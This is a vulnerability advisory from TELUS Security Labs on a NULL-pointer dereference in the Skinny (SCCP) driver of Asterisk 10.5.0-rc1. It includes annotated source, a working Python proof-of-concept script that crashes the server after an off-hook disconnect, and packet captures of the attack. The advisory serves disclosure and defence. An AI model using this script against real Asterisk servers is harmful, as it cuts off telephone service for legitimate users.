- Title: Digium Asterisk Skinny Channel NULL-Pointer Dereference - Affected Vendor: Digium - Tested Affected Products: Asterisk Open Source Latest version tested 10.5.0-rc1 - Affected Components: SCCP channel driver (chan_skinny.so) - Vulnerability Details: Skinny Call Control Protocol (SCCP) is a proprietary binary VoIP signalling protocol primarily used by Cisco devices to communicate with Cisco Call Manager. SCCP was designed to serve client devices with limited processing capability and supports text messaging, soft keys, registration to multiple servers for redundancy etc. SCCP-enabled phones use RTP over UDP for their media streams. SCCP is a binary protocol.  By default, devices connect to port 2000/TCP to communicate with the server.  The TCP session remains active throughout the entire time a client is registered with a server.  SCCP messages have the following structure: Offset   Length   Description -------------------------------------------------------------- 0x0000   0x0004   Data length n (including message type field) 0x0004   0x0004   Header version (0x00000000) 0x0008   0x0004   Message type 0x000C   n-0x04   Payload All multi-byte integers in SCCP messages are in little-endian byte order.  The format of the payload depends on the message type.  Some examples of SCCP message payload formats are given below: Message Type - - - - - -    Offset   Length   Description ---------------------------------------- 0x0001 Station Register Message - - - - - - - - - - - - - - - -    0x0000   0x0010   Device name    0x0010   0x0004   Station user ID    0x0014   0x0004   Station instance    0x0018   0x0004   Station IP address    0x001C   0x0004   Device type    0x0020   0x0004   Max. streams 0x0006 Station Off-hook Message - - - - - - - - - - - - - - - -    0x0000   0x0004   Line instance    0x0004   0x0004   Call identifier 0x0111 Station Call State Message - - - - - - - - - - - - - - - - -    0x0000   0x0004   Call state                        0x01: Off hook                        0x02: On hook                        0x05: Connected                        0x0C: Proceed    0x0004   0x0004   Line instance    0x0008   0x0004   Call identifier 0x0003 Station Keypad Button Message - - - - - - - - - - - - - - - - - -    0x0000   0x0004   Keypad button    0x0004   0x0004   Line instance    0x0008   0x0004   Call identifier A Null-pointer dereference has been identified in the SCCP (Skinny) channel driver of Asterisk.  When an SCCP client closes its connection to the server, a pointer in a structure is set to Null.  If the client was not in the on-hook state at the time the connection was closed, this pointer is later dereferenced. A remote attacker with a valid SCCP ID can can use this vulnerability by closing a connection to the Asterisk server in certain call states (e.g. "Off hook") to crash the server. Successful exploitation of this vulnerability would result in termination of the server, causing denial of service to legitimate users. The following code snippets have been taken from channels/chan_skinny.c as shipped in the source archive of Asterisk 10.5.0-rc1.  Comments added by TELUS Security Labs start with the string *TSL*. chan_skinny.c:6798 ------------------ static int get_input(struct skinnysession *s) { [ ... Truncated for vulnerability ... ] } else if (res != 4) {                         // *TSL* This section is executed when a skinny client closes its connection. ast_log(LOG_WARNING, "Skinny Client sent less data than expected.  Expected 4 but got %d.\n", res); ast_mutex_unlock(&s->lock); if (res == 0) { if (skinnydebug) ast_verb(1, "Skinny Client was lost, unregistering\n"); skinny_unregister(NULL, s);   // *TSL* See below } return -1; } chan_skinny.c:2126 ------------------ static int skinny_unregister(struct skinny_req *req, struct skinnysession *s) { struct skinny_device *d; struct skinny_line *l; struct skinny_speeddial *sd; d = s->device; [ ... Truncated for readability ... ] if (l->device == d) { l->device = NULL;   // *TSL* Set device pointer to NULL ast_format_cap_remove_all(l->cap); ast_parse_allow_disallow(&l->prefs, l->cap, "all", 0); l->instance = 0; manager_event(EVENT_FLAG_SYSTEM, "PeerStatus", "ChannelType: Skinny\r\nPeer:                                              Skinny/%s@%s\r\nPeerStatus: Unregistered\r\n", l->name, d->name); unregister_exten(l); ast_devstate_changed(AST_DEVICE_UNAVAILABLE, "Skinny/%s", l->name); } chan_skinny.c:2528 ------------------ static void transmit_stop_tone(struct skinny_device *d, int instance, int reference) { struct skinny_req *req; if (!(req = req_alloc(sizeof(struct stop_tone_message), STOP_TONE_MESSAGE))) return; req->data.stoptone.instance = htolel(instance); req->data.stoptone.reference = htolel(reference); transmit_response(d, req);   // *TSL* If device is unregistered, d is Null } chan_skinny.c:2363 ------------------ static void transmit_response(struct skinny_device *d, struct skinny_req *req) { transmit_response_bysession(d->session, req);   // *TSL* Dereference (crash, first vector) } chan_skinny.c:4729 ------------------ static int skinny_indicate(struct ast_channel *ast, int ind, const void *data, size_t datalen) { struct skinny_subchannel *sub = ast->tech_pvt; struct skinny_line *l = sub->line; struct skinny_device *d = l->device; struct skinnysession *s = d->session;   // *TSL* Dereference (crash, second vector) if (!s) { ast_log(LOG_NOTICE, "Asked to indicate '%s' condition on channel %s, but session does not exist.\n",                                    control2str(ind), ast->name); return -1; } - Proof of Concept Exploit: TELUS Security Labs has produced a proof-of-concept script (TSL-poc.py) to demonstrate the impact of this vulnerability.  To reproduce the proof-of-concept attack, add the following lines to etc/asterisk/skinny.conf: [lines] [ ... Truncated for readability ... ] [100] context=inbound [devices] [ ... Truncated for readability ... ] [tsl] device=attacker line=100 Note that the added lines are in bold.  With the modified skinny.conf file in place, start Asterisk with the -f option to run it in the foreground and execute the proof-of-concept script as python TSL-poc.py [] where is the IP address of the target server.  Two different attack vectors can be accessed using 0 or 1 as the argument. The Asterisk server will terminate abnormally upon processing of the malicious messages sent by the script. This proof-of-concept exploit was tested on Ubuntu Linux 11.10 x86 with Asterisk 10.5.0-rc1. def crash(target,vector=0): sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target,2000)) s=skinnyMessage(mType="Station Register Message") s["Device name"]="attacker"+"\x00"*7 s["Station user ID"]=0 s["Station instance"]=1 s["IP0"]=0 s["IP1"]=0 s["IP2"]=0 s["IP3"]=0 s["Device type"]=7 s["Max. streams"]=0 print "->", s sock.send(s.messageToString()) data="" active=True while active: data+=sock.recv(0xffff) while messageComplete(data) and active: s=skinnyMessage(mType=-1) data=s.messageFromString(data) print "<-",s if s.sType=="Station Capabilities Request Message": r=skinnyMessage(mType="Station Capabilities Response Message") r["Capabilities count"]=2 r["Remainder"]="\x04\x00\x00\x00\x28"+"\x00"*11+\ "\x02\x00\x00\x00\x28"+"\x00"*11 print "->", r sock.send(r.messageToString()) r=skinnyMessage(mType="Station Off Hook Message") r["Line instance"]=0 r["Call identifier"]=0 print "->", r sock.send(r.messageToString()) elif s.sType=="Station Call State Message": lineInstance=s["Line instance"] callIdentifier=s["Call identifier"] if vector==0: active=False elif s.sType=="Station Display Prompt Message": r=skinnyMessage(mType="Station Key Pad Button Message") r["Keypad button"]=9 r["Line instance"]=lineInstance r["Call identifier"]=callIdentifier print "->", r sock.send(r.messageToString()*1) time.sleep(2.0) active=False sock.close() if __name__=="__main__": print "Proof of Concept" print "Copyright TELUS Security Labs" print "All Rights Reserved.\n" vector=0 argc=len(sys.argv) if argc>3 or argc<2: print "Usage: %s []\n where =0|1"%sys.argv[0] sys.exit(1) elif argc>=3: vector=int(sys.argv[2]) target=sys.argv[1] crash(target,vector) - Attack Capture: The following packet decode illustrates an attack packet exchange. Please refer to the attached file attack.pcap for details. A client (named "attacker") sends a Station Register message to an Asterisk server: Frame 4: 114 bytes on wire (912 bits), 114 bytes captured (912 bits) Ethernet II, Src: HewlettP_75:79:68 (00:1b:78:75:79:68), Dst: Vmware_eb:2b:c8 (00:0c:29:eb:2b:c8) Internet Protocol, Src: 172.16.1.2 (172.16.1.2), Dst: 172.16.8.156 (172.16.8.156) Transmission Control Protocol, Src Port: 59875 (59875), Dst Port: cisco-sccp (2000), Seq: 1, Ack: 1, Len: 48 Skinny Client Control Protocol    Data Length: 40    Reserved: 0x00000000    Message ID: RegisterMessage (0x00000001)    DeviceName: attacker    StationUserId: 0    StationInstance: 1    IP Address: 0.0.0.0 (0.0.0.0)    DeviceType: TelecasterMgr (7)    MaxStreams: 0 0000  00 0c 29 eb 2b c8 00 1b 78 75 79 68 08 00 45 00   ..).+...xuyh..E. 0010  00 64 66 d4 40 00 40 06 72 01 ac 10 01 02 ac 10   .df.@.@.r....... 0020  08 9c e9 e3 07 d0 34 e7 ab 23 20 0d eb 22 80 18   ......4..# ..".. 0030  00 2e d3 a7 00 00 01 01 08 0a 1c 7d cd f1 04 03   ...........}.... 0040  a5 dc 28 00 00 00 00 00 00 00 01 00 00 00 61 74   ..(...........at 0050  74 61 63 6b 65 72 00 00 00 00 00 00 00 00 00 00   tacker.......... 0060  00 00 01 00 00 00 00 00 00 00 07 00 00 00 00 00   ................ 0070  00 00                                             .. The server acknowledges the confirmation: Frame 10: 98 bytes on wire (784 bits), 98 bytes captured (784 bits) Ethernet II, Src: Vmware_eb:2b:c8 (00:0c:29:eb:2b:c8), Dst: HewlettP_75:79:68 (00:1b:78:75:79:68) Internet Protocol, Src: 172.16.8.156 (172.16.8.156), Dst: 172.16.1.2 (172.16.1.2) Transmission Control Protocol, Src Port: cisco-sccp (2000), Dst Port: 59875 (59875), Seq: 49, Ack: 49, Len: 32 Skinny Client Control Protocol    Data Length: 24    Reserved: 0x00000000    Message ID: RegisterAckMessage (0x00000081)    KeepAliveInterval: 120    DateTemplate: M-D-Y    SecondaryKeepAliveInterval: 120 0000  00 1b 78 75 79 68 00 0c 29 eb 2b c8 08 00 45 00   ..xuyh..).+...E. 0010  00 54 4f 02 40 00 40 06 89 e3 ac 10 08 9c ac 10   .TO.@.@......... 0020  01 02 07 d0 e9 e3 20 0d eb 52 34 e7 ab 53 80 18   ...... ..R4..S.. 0030  03 89 cc 4a 00 00 01 01 08 0a 04 03 a5 de 1c 7d   ...J...........} 0040  cd f8 18 00 00 00 00 00 00 00 81 00 00 00 78 00   ..............x. 0050  00 00 4d 2d 44 2d 59 00 30 00 78 00 00 00 30 00   ..M-D-Y.0.x...0. 0060  00 00                                             .. The attacker sends a Station Off Hook message and subsequently closes the connection: Frame 16: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) Ethernet II, Src: HewlettP_75:79:68 (00:1b:78:75:79:68), Dst: Vmware_eb:2b:c8 (00:0c:29:eb:2b:c8) Internet Protocol, Src: 172.16.1.2 (172.16.1.2), Dst: 172.16.8.156 (172.16.8.156) Transmission Control Protocol, Src Port: 59875 (59875), Dst Port: cisco-sccp (2000), Seq: 97, Ack: 93, Len: 20 Skinny Client Control Protocol    Data Length: 12    Reserved: 0x00000000    Message ID: OffHookMessage (0x00000006)    Line Instance: 0    Call Identifier: 0 0000  00 0c 29 eb 2b c8 00 1b 78 75 79 68 08 00 45 00   ..).+...xuyh..E. 0010  00 48 66 da 40 00 40 06 72 17 ac 10 01 02 ac 10   .Hf.@.@.r....... 0020  08 9c e9 e3 07 d0 34 e7 ab 83 20 0d eb 7e 80 18   ......4... ..~.. 0030  00 2e 90 7e 00 00 01 01 08 0a 1c 7d ce 21 04 03   ...~.......}.!.. 0040  a5 e9 0c 00 00 00 00 00 00 00 06 00 00 00 00 00   ................ 0050  00 00 00 00 00 00                                 ...... - Credits: Christoph Hebeisen Vulnerability Research Team TELUS Security Labs